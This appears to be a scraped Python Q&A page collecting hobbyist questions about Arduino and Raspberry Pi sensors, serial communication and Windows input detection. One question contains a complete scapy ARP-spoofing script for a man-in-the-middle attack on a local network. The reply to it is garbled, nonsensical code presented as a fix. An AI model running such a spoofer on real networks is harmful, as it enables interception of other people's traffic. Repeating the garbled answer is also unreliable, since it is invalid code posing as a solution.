How to access Ultrasonic sensor using pyfirmata in python - python

**I use this code.but it is not working. can someone help me?I got this type of error
raise IOError("{0} is set up as an INPUT and can therefore not be written to"
OSError: Digital pin 8 is set up as an INPUT and can therefore not be written to **
import pyfirmata
import time
board = pyfirmata.Arduino('/dev/ttyACM0')
start=0
end=0
trigpin = board.get_pin('d:7:o')
echopin= board.get_pin('d:8:i')
trigpin.write(0)
time.sleep(5)
while True:
trigpin.write(1)
time.sleep(3)
trigpin.write(0)
while echopin.write(0):
pass
start = time.time()
while echopin.write(1):
pass
end = time.time()
print((end - start)/58.0*1000000)
time.sleep(1)

Related

Microcontroller serial stops working when mu serial is closed

I am trying to control some NeoPixel lights, and because the Raspberry Pi can only control one light at any given time, I decided I would just get a microcontroller to do it, specifically the Adafruit ItsyBitsy M4 Express, and just send serial data through the USB connecting the two to control them. I got that working, using PySerial to send data to the microcontroller. However, after the RPi script sends data 8 times, it stops working and I have to reload the script. Additonally, by stop working, I mean that the script gets stuck sending data and never ends. The strange part is that if I open the MU serial after my script has started running, I can A: see the data being sent in, and B: it never stops. It goes past the 8 issue and keeps going.
RPi Code:
import serial
import time
from random import randint
a = time.time() #Unimportant, was looking to see how quickly Serial could be re-defined
try:
ser = serial.Serial(port='/dev/ttyACM1', baudrate=115200, write_timeout=0.05)
except:
ser = serial.Serial(port='/dev/ttyACM0', baudrate=115200, write_timeout=0.05)
print(time.time() - a)
EnterKey = "\x1A\r\n"
e = 0
while True:
e+=1
d = []
for number in range(0, 30):
d.append([randint(0, 255), randint(0, 255), randint(0, 255)])
d = ((str(d)) + EnterKey).encode()
ser.write(d)
time.sleep(1)
print(e)
Microcontroller code:
import board
import supervisor
import neopixel
import time
a = neopixel.NeoPixel(board.D5, 30, auto_write=False)
supervisor.diable_autoreload()
while True:
b = input("automated")
RST = []
c = ""
R3T = []
started = False
for value in b:
if started == True:
if value == '[':
started2 = True
ending = False
elif value == ']':
if ending == True:
started=False
else:
RST.append(int(c))
c = ""
ending = True
started2 = False
R3T.append(RST)
RST = []
elif started2 == True:
if value.isdigit():
c += value
elif value == ",":
RST.append(int(c))
c = ""
elif value == '[':
started = True
for value in range(0, 30):
a[value] = R3T[value]
a.show()
print(a)
I tried being lazy and just re-defining the serial object after a write timeout, but that does not work. (Errno 16] Device or resource busy). I then went around looking for Raspberry Pi settings seeing if anything was getting in my way, but found nothing. I ultimately gave up and came here. If you have any ideas, please tell me!

consistency issue(missing data and sequence) while reading RS485 Data using Pyserial

First time ever I am doing python coding with Pyserial and RS485.
My function for reading serial data is here:
#RS485 read function
from threading import Thread
from time import sleep
def v_read_left():
b = 0
packet = bytearray()
packet.append(0x01) #
packet.append(0x03)
packet.append(0x20)
packet.append(0xab)
packet.append(0x00)
packet.append(0x02)
a = crc_find(packet)
packet += a
ser.flush()
while True:
ser.write(bytes(packet)) # write request to motor driver
sleep(0.1) # for frequency control
b = ser.read(9) # read RS485 received
#print(b)
if len(b) > 0:
print(b)
thread = Thread(target = v_read_left, args = ( ))
thread.start()
thread.join()
and the output of this function is here:
b'\x00fj\x06\x01\x03\x04\x00c'
b'\x00a\xcb\xc5\x01\x03\x04\x00h'
b'\x00b\xfa\x06\x01\x03\x04\x00`'
b'\x00`\xfa\x05\x01\x03\x04\x00^'
b'\x00c\xdb\xc8\x01\x03\x04\x00l'
b'\x00e\xfa\x05\x01\x03\x04\x00b'
b'\x00_\x1b\xd5\x01\x03\x04\x00]'
b'\x00e\xab\xca\x01\x03\x04\x00o'
b'\x00m\x0b\xc3\x01\x03\x04\x00h'
b'\x00_;\xd7\x01\x03\x04\x00`'
I am not able to identify what the problem is?
This is the BLDC motor driver RS485 command reference, I am trying to read the speed of the motor via the given example in this image.
Image

How to overcome this Index error in Python

The code given below is exactly as shown in the tutorial(zsecurity)
it seems the code does not working only on my system.i run this code in linux (virtual box).
this is an arpspoofing used to become the man in the middle in local network.
i implement this attack on the another guest os windows 10.
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_reqest=arp_request/broadcast
answered_list =scapy.srp(arp_broadcast_reqest, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_spoof(target_ip, spoof_ip):
target_mac= get_mac(target_ip)
packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip,source_ip):
destination_mac=get_mac(destination_ip)
source_mac=get_mac(source_ip)
packet= scapy.ARP(op=2, pdst=destination_ip,hwdst=destination_mac,psrc=source_ip, hwsrc=source_mac)
scapy.send(packet,count=4, verbose=False)
target_ip="10.0.2.4"
gateway_ip="10.0.2.1"
try:
sent_packets = 0
while True:
arp_spoof(target_ip,gateway_ip)
arp_spoof(gateway_ip,target_ip)
sent_packets=sent_packets + 2
print("\r the packets sent:" + str(sent_packets)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("detectedd ctrl+c......quitting")
restore(target_ip,gateway_ip)
restore(gateway_ip,target_ip)
Try using this.
from socket import *
from overflows import *
import use_socket
def connect(ipv6_addr: Dec, port: simplicity, port:paste, from_port: av) as orig:
NetworkPort_ping, delegate_messed_port: 127.0. 0.0
History().channel(fl)
CountDownPorts(chain_count, 0)
TcpTelnetPort.connect(port, to_network(port))
Serial_packet
Serial.wait(boot_java)
For USB_Added = True
if (usb_usb.ReadScreen):
print("USB receiving device")
print which.ip_port()
print def.rid
callback.data
ELSE
byte_frame += 1
will crash unless "++com_available" is attempting to be done later
sends_over(dot, sleep.status)
print "Connected :\n"
na_registered.send(500)

Detecting Activity with mouse, keyboard and voice on windows

We have a module on Python (through win32) to detect user mouse and keyboard activity by GetLastInputInfo and GetTickCount. How can we register Voice activity in GetLastInputInfo?
Or maybe can we add a synthesized input to update GetLastInputInfo every time the mic detects voice input? but can we do that without interrupting the user?
Sample code on Pyaudio to detect user voice by volume:
audio = pyaudio.PyAudio()
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
CHUNK = 1024
# recording prerequisites
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)
while True:
data = stream.read(CHUNK)
data_chunk = array('h', data)
vol = max(data_chunk)
if vol >= 500:
# voice detected from mic
print("talking - {}".format(vol))
else:
print("-")
Sample code for detecting user input:
# code to get inactivity
class LastInputInfo(Structure):
_fields_ = [
("cbSize", UINT),
("dwTime", DWORD)
]
def _getLastInputTick() -> int:
"""
retrieves the last input action
:return: int
"""
prototype = WINFUNCTYPE(BOOL, POINTER(LastInputInfo))
paramflags = ((1, "lastinputinfo"), )
# type: ignore
c_GetLastInputInfo = prototype(("GetLastInputInfo", ctypes.windll.user32), paramflags)
l = LastInputInfo()
l.cbSize = ctypes.sizeof(LastInputInfo)
assert 0 != c_GetLastInputInfo(l)
return l.dwTime
def _getTickCount() -> int:
"""
:return: int
tick count
"""
prototype = WINFUNCTYPE(DWORD)
paramflags = ()
c_GetTickCount = prototype(("GetTickCount", ctypes.windll.kernel32), paramflags) # type: ignore
return c_GetTickCount()
def seconds_since_last_input():
"""
:return: float
the time of user input
"""
seconds_since_input = (_getTickCount() - _getLastInputTick()) / 1000
return seconds_since_input
# inactivity in N seconds
seconds_since_input = seconds_since_last_input()
inactive_seconds = 10
while True:
# Becomes active
if afk and seconds_since_input < inactive_seconds:
afk = False
#becomes afk
elif not afk and seconds_since_input >= inactive_seconds:
afk = True
print("afk status: {}, seconds since last input :{}".format(seconds_since_input))
If you want to do something, without interrupting the user, you can use multithreading with threading.
If you want to save something in a variable that every thread can use, you can use queue.
This will run whatever you need to run, in a different thread, and save on a shared variable.
import modules
import threading
import queue
Create a shared variable
shared_var = queue.Queue()
Create a function that checks what you want (in this case audio), and edits the shared variable
Edit shared variable: shared_var.put(item)
(in this case, whenever audio is detected you can say audio_detected.put(True) and/or current_tick_count.put(tick_count), or something like that`)
create a thread and pass in the function you made to check
thread = threading.Thread(target=function, args=arguments)
where target is the function you want to call in this new tread, and args are the arguments you need to pass into your function
Start the new thread
thread.start()
On main thread or a new thread, do what you want with that variable
shared_var.get() will wait until something is added to shared_var and then return what was added.
Example code:
import threading
import queue
import time
text = queue.Queue()
def change(text):
time.sleep(3)
text.put("hello world")
thread = threading.Thread(target=change, args=(text,))
# ^ IMPORTANT! (,)
thread.start()
def display(text):
text = text.get() # This will wait till text has somthing inside and then returns it
print(text)
thread2 = threading.Thread(target=display, args=(text,))
# ^ IMPORTANT! (,)
thread2.start()
input() # To show it won't interrupt the user until the text has something
I am sorry if this answer isn't so clear. I'm not familiar with pyaudio and win32, but I do know threading and queue so you can just work with this and add you're code. If you want you could edit the answer with your code in it.
I hope this helps!

Error while Working with US-100 on Raspberry pi 3

I wrote the following code for my US-100 ultrasonic distance measurement sensor. But I am getting junk results everytime. when ever I am moving my sensor, I dont get any change in reading. Also, when I am connecting GND and VCC to sensor, input stops generating. Need help with Circuit diagram for connecting US-100 to Raspberry pi 3 and errors in this code which lead to junk results
import RPi.GPIO as GPIO
import time
import logging
LOG_FILENAME='US_100.log'
logging.basicConfig(format='%(asctime)s %(message)s',filename='US_100',
level=logging.DEBUG)
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
TRIG = 23
ECHO = 24
GPIO.setup(TRIG,GPIO.OUT)
GPIO.setup(ECHO,GPIO.IN)
while True:
GPIO.output(TRIG,False)
time.sleep(1.5)
print("Waiting for sensor to settle")
GPIO.output(TRIG,True)
time.sleep(0.0001)
GPIO.output(TRIG, False)
pulse_start=time.time()
while GPIO.input(ECHO) == 0:
pulse_start = time.time()
while GPIO.input(ECHO) == 1:
pulse_end = time.time()
pulse_duration = (pulse_end-pulse_start)
print("Pulse duration =%1f " %pulse_duration)
distance = (pulse_duration*343/2)
if distance >0.5 and distance <400:
print("Distance = %1f" %distance)
else:
print("Out of Range")
logging.debug(distance)
Image of results which I am getting even though the object is 15-20cm apart.
Output Image

Categories

Resources